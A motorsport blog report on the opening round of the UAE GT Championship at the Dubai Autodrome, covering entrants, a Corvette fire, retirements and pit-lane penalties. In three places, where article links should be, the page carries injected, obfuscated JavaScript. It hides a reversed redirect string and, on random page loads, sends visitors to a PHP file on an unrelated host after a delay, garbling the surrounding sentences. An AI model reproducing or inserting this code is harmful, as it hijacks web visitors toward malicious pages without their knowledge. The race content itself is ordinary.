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The big boys in the TOTAL UAE GT Championship were out on track for the first time this season at the Dubai Autodrome last weekend. Whilst there was a reasonably healthy grid of 16 cars buzzing around the paddock on test day, a number of cars didn’t make it out to the race itself. Nevertheless, it was a action-packed hour-long race and didn’t go off without a spot of controversy along the way.
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All eyes were on the reigning champions of House of Portier / TAM Auto Engineering and their GTA-class Corvette which had returned to Dubai after its summer tune-up at Callaway Motorsports in Germany.
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Sharing the driving duties with Karim Al Azhari was Fabien Giroix. As someone who has raced everything from Touring Cars to DTM, GT1s and GT2s, sprint races to endurance challenges in everything from McLarens to Lamborghinis and plenty else inbetween, Fabien certainly knows his way around a race car.
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After each driver had completed their initial seat time in the car during open testing on Thursday morning, Karim headed out onto the track with the Vette wearing fresh Dunlop rubber. However, as $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/20103134/house-of-portier-tam-auto-engineering-uae-gts-round-1/”>previously reported, all was not well and Karim reported smelling fuel in the cockpit as he was driving down the main straight. He brought the car to a stop at the exit of the pitlane and got out of the car, before turning back to find the GTA ‘Vette on fire.
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The HoP / TAM GTB-class Corvette – it has white mirrors and rear wing to visually differentiate it out on track – was running well in the morning with…
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…Mohammed Al Mutawaa and…
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…Czech Jiri Skula making full use of the car’s performance.
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Though no issues were reported with the GTB car, the team decided to withdraw it from the race weekend until the cause of the fire in the GTA car was found.
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With the TAM Vette not running, the GTA class was down to two runners – the NFS Dodge Viper and the Zytech-engined Ginetta G50.
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Bassam Kronfli and Raed Hassan were posting some excellent times in the mad Ginetta in the afternoon’s test sessions with Buzz particularly enjoying the G50 exhaust’s tendencies to pop and bang whenever he lifted off the throttle.
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However, disaster struck in practise on race morning when the gearbox decided to blow a hole through the casing. Without time to find a replacement, the Ginetta was left in the corner of the Gulf Sport pit garage come race time.
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That left the NFS Racing Viper in a one horse race, with Julian Griffin and Rob Barff sharing the driving duties. Unsurprisingly, the Viper romped ahead of the field once the action was underway and recorded a best lap time of 1:28.989 on the National Circuit.
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It wasn’t all plain sailing though as the car was given a drive-through penalty for exceeding the speed limit in the pit lane – something which would affect a lot of cars during the race. The Viper’s strategy might need to be looked at before the next race as the tyres were showing signs of serious wear after 38 laps.
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Jon Simmonds and Tarek El Gammal had joined forces in the MSW Porsche 997 Cup car in GTB. Looking stonking in the yellow and green livery, the MSW boys stormed their way to 2nd overall and a class win.
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With the support of Alex Renner Motors, the car was in fine form, clocking a best time of 1:33.292.
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Another 997 Cup car that was running with the support of ARM was being driven by Saif Al Assam and Cabell Fisher. The guys had a bit of a wobbly moment in the first part of the race with concerns about the front tyres being raised by Saif over the team radio.
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The car was pulled into the garage to be checked over, but after a few tense moments the car was soon pushed back out to the pit lane to continue running. The time lost here affected Cabell and Saif’s chances of finishing higher up the overall order, but still ended up 2nd in class.
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Khalid Bin Hadher had starting issues with his evil-looking Lotus Exige as it was left floundering on the grid as the rest of the field moved off for the warm-up lap.
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The team swiftly pushed the car back to the pitlane where it was restarted, but the Exige unfortunately only managed one flying lap before retiring.
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But it was in the ‘entry level’ class of GT racing – GTC – that the real action happened.
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Unfortunately, the $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/20102742/drivers-blog-harris-irfan-pre-season-testing-uae-gts/”>dream-team pairing of Harris Irfan and Paul Denby and their 996 Cup car couldn’t make it out on track for the hour-long race.
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A problem with the clutch reared its ugly head in practice and despite the best efforts of the MSW mechanics, couldn’t be fixed in time for the afternoon’s race.
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Without question, these boys will be back in anger come next raceday.
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It was extremely busy in the Gulf Sport garage with a pair of Maserati Granturismo MCs and Ginetta G50s in the running for GTC glory.
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Robert Cregan was finding serious pace in the No.47 car, and despite suffering two drive-through penalties due to excessive speed in the pitlane, still managed third overall and the top spot in GTC.
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If it wasn’t for those penalties, it’s likely that Robert would have been giving Jon and Tarek something to think about as he spent a number of the early laps running in second overall.
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David Field was struggling to find the same race pace as Robert in the identical Maserati Granturismo MC with his best lap running nearly 5 seconds behind.
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David too was landed with a drive-through penalty, though this time it was due to a short pit stop, rather than speeding.
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The No.46 Ginetta driven solely by Joe Ghanem was seriously hustling through the corners. It’s not really that surprising when you learn of Joe’s past racing CV – he’s raced in numerous rallies and hill climbs, Formula Renault and bagged himself three podiums in British Formula 3.
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With support from Orient Racing, we expect Joe to feature highly in the final racing order throughout the season. However, he needs to keep his wits about him in the pitlane as he had a very close call with a couple of other cars upon his release from his mandatory pit stop. Naturally, he was given a drive-through penalty for his troubles. A certain Fraser Martin was kept pretty busy throughout the GT race.
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The other Ginetta out on track was the No.54 car driven by G-Force Autoworx’s Khaled Al Mudhaf and Jan Van Meerbeek.
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The intense heat and humidity took its toll on Khaled as after pitting on lap 17, he was spotted taking a much-needed lie down to recover.
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NFS Racing’s Frederic Gaillard was pushing himself to the extreme on race day as he was competing in both the $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/20103073/uae-national-racing-touring-cars-rd2/”>Touring Cars and the GTs.
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Prior to heading out on track for the GT race, big Fred had already been around the track in practice and qualifying sessions for both championships, plus two 12-lap races for Touring Cars. To then drive a full hour-long stint in the GTs was maybe a step too far.
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However, Fred was proving to be a serious contender out on track turning in pretty consistent and competitive lap times in the stunning Lotus Evora GT4 car.
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With pit garage support from Lotus HQ in Hethel, the car was in excellent condition for the race. In actual fact, the Evora that Fred was peddling was the same car that CRANK&PISTON had followed at the Nurburgring earlier in the year.
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After 40 minutes in the car, Fred decided enough was enough and retired from the race. With limited numbers of drivers in the UAE, it’s always going to be a challenge to find enough bums to fill seats to ensure the grids are as healthy as they can be.
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Ramzi Moutran was all set to perform a similar feat to Fred in his GTC-class Seat Leon Supercopa, but electrical gremlins brought an abrupt end to that plan. With the next race weekend on November 4th/5th featuring every UAE Championship under the sun, it’s going to be interesting to see who else might try a double or triple race effort.
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After trying his hand at GT racing in a Ginetta G50 last year, Saad Salman is racing this year under the banner of Sayel Racing.
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His KTM X-Bow features a keffiyeh design as part of the team’s goal of being a proud Palestinian racing team with a dream to ‘go to the apex and beyond!’
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Saad was blatting the X-Bow hard around the circuit, taking the curbs with wild abandon. Though it was a little bit wild for the aforementioned Fraser Martin in race control who handed Saad a drive through penalty for his troubles.
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John Iossifidis and Martin Baerschimdt were trying their hardest in their TAM-supported Aston Martin V8 Vantage, and despite being one of the few teams not to be landed with any penalities, finished at the bottom of the field. Still, the only way is up from there!
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With penalties being handed out left, right and centre for speeding in the pit lane, many in the paddock were voicing their opinions on how and where the speed checks were taking place. Whether anything will come out of the wash on that subject remains to be seen, but I only hope that the Autodrome lay down the law to the letter in the next driver’s briefing to ensure that everyone knows the score before racing gets underway.
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The next race day is in less than two weeks’ time and with HoP / TAM expected to field both its Corvettes, plus a certain Mühlner Motorsport due to make an apperance, the CYTECH UAE GT Championship is shaping up to be rather exciting indeed.
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